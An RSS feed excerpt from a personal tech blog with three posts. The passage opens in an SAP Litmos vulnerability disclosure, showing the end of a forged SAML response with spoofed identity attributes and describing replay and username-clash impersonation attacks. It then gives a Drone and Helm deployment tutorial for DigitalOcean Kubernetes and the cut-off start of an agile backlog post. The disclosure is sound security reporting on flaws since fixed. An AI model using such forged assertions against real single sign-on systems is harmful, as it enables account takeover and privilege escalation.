            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Attribute&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;LastName&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NameFormat=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:attrname-format:basic&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;AttributeValue&amp;gt;&lt;/span&gt;Spoofed surname&lt;span class=&quot;nt&quot;&gt;&amp;lt;/AttributeValue&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Attribute&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Attribute&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Email&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NameFormat=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:attrname-format:basic&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;AttributeValue&amp;gt;&lt;/span&gt;spoofed-email@example.com&lt;span class=&quot;nt&quot;&gt;&amp;lt;/AttributeValue&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Attribute&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/AttributeStatement&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Assertion&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Response&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;SAP issue reference ID: 1980479777&lt;/p&gt;

&lt;h3 id=&quot;identity-spoofing-due-to-lack-of-identity-provider-origin-verification&quot;&gt;Identity spoofing due to lack of identity provider origin verification&lt;/h3&gt;

&lt;p&gt;In addition to the aforementioned vulnerability, there is no Identity Provider origin check (i.e. verification of the HTTP Referrer header).&lt;/p&gt;

&lt;p&gt;This weakness can lead to the identity spoofing utilizing the Identity Provider’s development environment, or any other web origin used to submit the SAML Response from.
Combining it with the aforementioned weakness, multiple attack scenarios can be exploited.&lt;/p&gt;

&lt;p&gt;SAP issue reference ID: 1980479778&lt;/p&gt;

&lt;h3 id=&quot;request-replay-vulnerability&quot;&gt;Request replay vulnerability&lt;/h3&gt;

&lt;p&gt;The SAML Response Request form can be submitted multiple times, allowing the attacker to replay the authentication event and login on behalf of the victim.&lt;/p&gt;

&lt;p&gt;The SAML Response root element contains the attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ID&lt;/code&gt;, but SAP Litmos does not use it as “nonce” value.&lt;/p&gt;

&lt;p&gt;SAP issue reference ID: 1980479775&lt;/p&gt;

&lt;h3 id=&quot;identity-spoofing-via-username-clash-vulnerability&quot;&gt;Identity spoofing via username clash vulnerability&lt;/h3&gt;

&lt;p&gt;The weakness exists due to lack of separation of the federated and locally-created user accounts in Litmos, and due to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;username&lt;/code&gt; attribute that is used to match the users.&lt;/p&gt;

&lt;p&gt;Attack scenario:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;There is a user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;johndoe&lt;/code&gt; created manually in Litmos. This user account has a “Account Owner” role.&lt;/li&gt;
  &lt;li&gt;There is a different user with the same username &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;johndoe&lt;/code&gt; in the external Identity Provider. These users are not anyhow linked together.&lt;/li&gt;
  &lt;li&gt;The user authenticated via the SAML, will automatically be logged-in to the different user account in Litmos, resulting in the Identity Spoofing and Elevation of Privilege.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This weakness can be exploited both accidentally, and exploiting the targeted attack. This can be done by registering either specific usernames in the external Identity Provider, or also by changing the specific user account usernames in Litmos, resulting in different attack vectors.&lt;/p&gt;

&lt;p&gt;SAP issue reference ID: 1980479776&lt;/p&gt;

&lt;h2 id=&quot;responsible-disclosure-timeline&quot;&gt;Responsible disclosure timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2019-09-16&lt;/code&gt; - vulnerabilities reported to Litmos&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2019-09-23&lt;/code&gt; - reproduction video files provided and issues elaborated during the online meeting&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2019-11-29&lt;/code&gt; - vulnerabilities reported to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secure@sap.com&lt;/code&gt; in the encrypted format&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2019-12-02&lt;/code&gt; - vulnerabilities were acknowledged and had the tracking IDs assigned&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2020-03-18&lt;/code&gt; - SAP Product Security Response team confirms the remediation of the vulnerabilities&lt;/li&gt;
&lt;/ul&gt;
</description>
            <pubDate>Tue, 22 Jun 2021 00:00:00 -0500</pubDate>
            <link>https://lescinskas.lt/blog/2021/06/22/sap-litmos-broken-authentication-vulnerability-disclosure/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2021/06/22/sap-litmos-broken-authentication-vulnerability-disclosure/</guid>
            
            
        </item>
        
        <item>
            <title>Continuous deployment to Digital Ocean Kubernetes cluster using Drone and Helm</title>
            <description>&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2020/k8s.jpg&quot; alt=&quot;Kubernetes CI CD&quot; class=&quot;img-responsive img-rounded&quot; /&gt;&lt;/p&gt;

&lt;p&gt;(image source: &lt;a href=&quot;https://dribbble.com/digitalocean&quot;&gt;https://dribbble.com/digitalocean&lt;/a&gt;)&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Hosting web applications and services in Kubernetes clusters is the common practice nowadays. Most hosting service providers offer managed Kubernetes services.&lt;/p&gt;

&lt;p&gt;Digital Ocean is one of the hosting service providers, providing managed Kubernetes service for a resonable price and without cluster fees.&lt;/p&gt;

&lt;p&gt;I have recently migrated from Google Kubernetes Engine (GKE) to DigitalOcean and want to share with you how to setup the continuous deployment pipeline to deploy service to DigitalOcean Kubernetes Service (DOKS).&lt;/p&gt;

&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;

&lt;p&gt;I assume you already have the Continuous Integration pipeline which builds the application, packages it to Docker images and publishes them to the Container Registry.&lt;/p&gt;

&lt;p&gt;Setting up a Kubernetes cluster (node pool) is also out of scope of this blogpost.&lt;/p&gt;

&lt;p&gt;There are many great resources on the Internet regarding that: &lt;a href=&quot;https://www.digitalocean.com/docs/kubernetes/&quot;&gt;DigitalOcean Kubetnetes Docs&lt;/a&gt;, &lt;a href=&quot;https://github.com/digitalocean/DOKS&quot;&gt;DOKS Github repo&lt;/a&gt;, &lt;a href=&quot;https://www.digitalocean.com/community&quot;&gt;Community website&lt;/a&gt; etc.&lt;/p&gt;

&lt;h2 id=&quot;helm&quot;&gt;Helm&lt;/h2&gt;

&lt;p&gt;In this blogpost I will be using Helm to install the Ingress Controller and to deploy the web application to the Kubernetes cluster.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://helm.sh/&quot;&gt;Helm&lt;/a&gt; is a tool used to package and deploy Kubernetes applications (technically - multiple Kubernetes resource files). It is very useful as it:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Uses a templating engine (&lt;a href=&quot;https://masterminds.github.io/sprig/&quot;&gt;Go Sprig&lt;/a&gt;) allowing to reuse the same Kubernetes resources (services, deployments, ingresses, service accounts etc.) with different values. Also, allowing to use conditional logic, loops etc. in the object files;&lt;/li&gt;
  &lt;li&gt;Allows applying all objects in a single run (no need to run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl apply -f &amp;lt;file&amp;gt;&lt;/code&gt; multiple times). Also, allows release versioning and rollbacks;&lt;/li&gt;
  &lt;li&gt;Provides ability to package (Helm packages are named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Charts&lt;/code&gt;) and reuse the Kubernetes applications, also distribution via the repositories and package discovery via &lt;a href=&quot;https://hub.helm.sh/&quot;&gt;Helm Hub&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;Provides the ability to define dependencies and install them along the Kubernetes application installation via Helm.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Helm v3 stores all metadata in the Kubernetes cluster as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Secret&lt;/code&gt; objects and (unlike previous versions) does not require specific containers (Tiller) to be run in the namespace.&lt;/p&gt;

&lt;h2 id=&quot;cluster-setup&quot;&gt;Cluster setup&lt;/h2&gt;

&lt;p&gt;In order for the application hosted in Kubernetes to receive HTTP requests from the internet, it is needed to install the &lt;a href=&quot;https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/&quot;&gt;Ingress Controller&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.nginx.com/nginx-ingress-controller/overview/&quot;&gt;Nginx ingress controller&lt;/a&gt; is one of the most popular ones. It can be installed using Helm very easily:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;helm repo add nginx-stable https://helm.nginx.com/stable
helm repo update

helm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &amp;lt;INSTALLATION NAME&amp;gt; nginx-stable/nginx-ingress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Name can be automatically generated using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--generate-name&lt;/code&gt; parameter. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nginx-stable/nginx-ingress&lt;/code&gt; is the Helm Chart from the repository.&lt;/p&gt;

&lt;p&gt;For Ingress Controller to be run on multiple nodes, the replica count value should be overridden:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;helm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--generate-name&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--set&lt;/span&gt; controller.replicaCount&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2 nginx-stable/nginx-ingress
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All configuration parameters can be found at &lt;a href=&quot;https://docs.nginx.com/nginx-ingress-controller/installation/installation-with-helm/&quot;&gt;https://docs.nginx.com/nginx-ingress-controller/installation/installation-with-helm/&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;deployment-using-helm&quot;&gt;Deployment using Helm&lt;/h2&gt;

&lt;p&gt;For the deployment will need to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Authenticate to DigitalOcean;&lt;/li&gt;
  &lt;li&gt;Obtain Kubernetes configuration (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubeconfig&lt;/code&gt; file);&lt;/li&gt;
  &lt;li&gt;Perform deployment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For authentication and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubeconfig&lt;/code&gt; generation the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doctl&lt;/code&gt; command is used. It can be installed locally (i.e. as a &lt;a href=&quot;https://snapcraft.io/doctl&quot;&gt;Snappy package&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The DigitalOcean access token is needed to perform authentication instead of the personal credentials. The token can be generated in the user interface at &lt;a href=&quot;https://cloud.digitalocean.com/account/api/tokens&quot;&gt;https://cloud.digitalocean.com/account/api/tokens&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The authentication is performed using a command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;doctl auth init &lt;span class=&quot;nt&quot;&gt;--access-token&lt;/span&gt; &amp;lt;DIGITALOCEAN_ACCESS_TOKEN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After successful authentication, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubeconfig&lt;/code&gt; file can be generated using a command (in tihs case it will be saved to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.kubeconfig&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;doctl k8s cluster kubeconfig show &amp;lt;CLUSTER_NAME&amp;gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; .kubeconfig
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Having a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubeconfig&lt;/code&gt; file which includes the user’s token, we can perform the deployment of the Helm chart using a command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;helm upgrade &lt;span class=&quot;nt&quot;&gt;--install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--kubeconfig&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;.kubeconfig &amp;lt;INSTALLATION_NAME&amp;gt; /path/to/helm/chart
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case the Chart is stored in the source code. If the Chart was published to the repository, it should have been added before.
Values to the Chart can be passed via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--set key=value&lt;/code&gt; parameter, also having a Values file with multiple values, it can be provided using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-f /path/to/values/file.yaml&lt;/code&gt; parameter.&lt;/p&gt;

&lt;h2 id=&quot;deployment-pipeline&quot;&gt;Deployment pipeline&lt;/h2&gt;

&lt;p&gt;I use &lt;a href=&quot;https://drone.io/&quot;&gt;Drone&lt;/a&gt; for Continuous Deployment. It provides deployment pipeline execution for container-based applications, and is availabe both as a service and as a product that can be installed and run on-premises.&lt;/p&gt;

&lt;p&gt;There are other tools available, also source hosting services provide native CI/CD services (&lt;a href=&quot;https://docs.gitlab.com/ee/ci/&quot;&gt;GitLab CI&lt;/a&gt;, &lt;a href=&quot;https://github.com/features/actions&quot;&gt;Github actions&lt;/a&gt;), so the pipelines should be similar when used in other tools.&lt;/p&gt;

&lt;p&gt;In the deployment pipeline the following Docker images will be used:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/digitalocean/doctl&quot;&gt;digitalocean/doctl&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/alpine/helm&quot;&gt;alpine/helm&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doctl&lt;/code&gt; in the image is not included in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt;. Overriding the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;entrypoint&lt;/code&gt;, we will need to provide full path to the doctl which is at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/app/doctl&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;For the backwards compatibility is is advised to use the specific tag version instead of “latest”. I will be using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;digitalocean/doctl:1-latest&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alpine/helm:3.1.2&lt;/code&gt; at the time of writing.&lt;/li&gt;
  &lt;li&gt;The DigitalOcean access token will be saved as a Secret in Drone and will be injected to the command from the environment variable.&lt;/li&gt;
  &lt;li&gt;The deployment will be triggered using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;promotion&lt;/code&gt; event and will deploy the Docker image tagged with the same name as the tag name in git. The event triggered from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tag&lt;/code&gt; event which builds and publishes Docker image are out of scope (but should be included in the full pipeline).&lt;/li&gt;
  &lt;li&gt;The Helm Chart contains the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;image&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;repository&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;docker-owner/docker-repo&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;tag&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The deployment deploys the pods with the containers from the defined image. We will override the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;image.tag&lt;/code&gt; in the deployment pipeline below. The deployment steps of the pipeline are the following:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Authenticate to DigitalOcean&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;digitalocean/doctl:1-latest&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;when&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;refs/tags/*&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;promote&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;production&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;DIGITALOCEAN_ACCESS_TOKEN&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;from_secret&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DIGITALOCEAN_ACCESS_TOKEN&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;commands&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/app/doctl auth init --access-token $DIGITALOCEAN_ACCESS_TOKEN&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/app/doctl k8s cluster kubeconfig show &amp;lt;CLUSTER_NAME&amp;gt; &amp;gt; .kubeconfig&lt;/span&gt;

&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Deploy Helm Chart to Production&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;alpine/helm:3.1.2&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;when&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;refs/tags/*&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;promote&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;production&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;commands&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;helm upgrade --install --kubeconfig=.kubeconfig -f /path/to/values/file.yaml --set image.tag=${DRONE_TAG##v} &amp;lt;INSTALLATION_NAME&amp;gt; /path/to/helm/chart&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;invoking-deployment&quot;&gt;Invoking deployment&lt;/h2&gt;

&lt;p&gt;Deployment event is meant to promote the specific build (in this case - build invoked on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tag&lt;/code&gt; event) to the defined environment.&lt;/p&gt;

&lt;p&gt;This event can be invoked using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;drone&lt;/code&gt; CLI application (see &lt;a href=&quot;https://readme.drone.io/cli/build/drone-build-promote/&quot;&gt;CLI reference&lt;/a&gt; for more info) or the &lt;a href=&quot;https://docs.drone.io/api/builds/build_promote/&quot;&gt;REST API&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;drone build promote &amp;lt;owner&amp;gt;/&amp;lt;repository&amp;gt; &amp;lt;build number&amp;gt; &amp;lt;environment&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It can also be triggered from the source control management system if the webhooks are properly configured in the Repository Settings. In Github case it can be invoked via the &lt;a href=&quot;https://developer.github.com/v3/repos/deployments/&quot;&gt;REST API&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/repos/&amp;lt;OWNER&amp;gt;/&amp;lt;REPOSITORY&amp;gt;/deployments&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;api.github.com&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/vnd.github.ant-man-preview+json&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/json&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Authorization&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;token  &amp;lt;GITHUB ACCESS TOKEN&amp;gt;&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ref&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;TAG NAME&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;payload&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Promoting production environment to &amp;lt;TAG NAME&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;environment&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;production&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
            <pubDate>Mon, 23 Mar 2020 00:00:00 -0500</pubDate>
            <link>https://lescinskas.lt/blog/2020/03/23/continuous-deployment-to-digitalocean-k8s-drone-helm/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2020/03/23/continuous-deployment-to-digitalocean-k8s-drone-helm/</guid>
            
            
        </item>
        
        <item>
            <title>Agile product backlog management</title>
            <description>&lt;p&gt;During my career in product development I’ve been working on Agile Product Backlog Management in different roles: as a software engineer, product owner, engineering manager and other stakeholder.&lt;/p&gt;

&lt;p&gt;With every team I was working on we had the same questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;How to accurately plan a Scrum sprint?&lt;/li&gt;
  &lt;li&gt;How to make a long-term plan?&lt;/li&gt;
  &lt;li&gt;Should we estimate in story points or hours?&lt;/li&gt;
  &lt;li&gt;Should we log hours?&lt;/li&gt;
  &lt;li&gt;When to treat the user story as “Completed”?&lt;/li&gt;
  &lt;li&gt;Should we reduce the estimate of the incomplete task after the sprint?&lt;/li&gt;
  &lt;li&gt;Should technical, maintenance tasks and defects (bugs) be treated as the user stories?&lt;/li&gt;
  &lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this blogpost I am sharing what practices I found to be working best, including the answers to the aforementioned questions.&lt;/p&gt;

&lt;p&gt;Surely, your mileage may vary, as we’re all working in different environments, have different management and stakeholder expectations and constraints.&lt;/p&gt;

&lt;h2 id=&quot;backlog-composition&quot;&gt;Backlog composition&lt;/h2&gt;

&lt;p&gt;While it sometimes seems that agile product development is about the new feature development, however in practice the engineering team’s effort consists of:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Feature development&lt;/li&gt;
  &lt;li&gt;Operations/maintenance&lt;/li&gt;
  &lt;li&gt;Unplanned effort (i.e. defects in production)&lt;/li&gt;
